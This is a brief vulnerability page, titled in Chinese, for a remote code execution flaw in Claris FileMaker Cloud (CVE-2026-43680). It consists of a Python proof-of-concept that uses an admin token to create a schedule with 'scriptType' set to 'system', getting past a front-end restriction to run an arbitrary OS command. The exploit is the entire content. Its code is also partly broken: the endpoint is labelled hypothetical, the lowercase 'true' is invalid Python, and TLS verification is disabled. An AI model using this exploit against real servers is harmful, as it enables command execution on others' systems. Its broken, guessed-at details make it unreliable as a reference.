CVE-2026-43680 Claris FileMaker Cloud 远程代码执行漏洞

import requests # Target API endpoint for creating schedules (Hypothetical endpoint based on vulnerability description) target_url = "https://<filemaker-cloud-host>/fmi/admin/api/v1/schedules" # Admin session cookie or token (Required due to PR:H privilege requirement) admin_session_token = "<VALID_ADMIN_CONSOLE_TOKEN>" # Headers headers = { "Authorization": f"Bearer {admin_session_token}", "Content-Type": "application/json" } # PoC Payload: Bypassing frontend restriction to execute arbitrary OS commands # The frontend usually restricts 'scriptType' to safe options, but we send 'system' directly. payload = { "scheduleName": "Malicious_PoC_Task", "scriptType": "system", # Bypass front-end restriction "command": "touch /tmp/poc_success && whoami", # Arbitrary OS command to execute "enabled": true } try: # Send malicious request to backend API response = requests.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 201: print("[+] PoC Successful: Malicious schedule created.") print("[+] The command 'touch /tmp/poc_success' should have been executed on the host.") else: print(f"[-] PoC Failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"Error: {e}")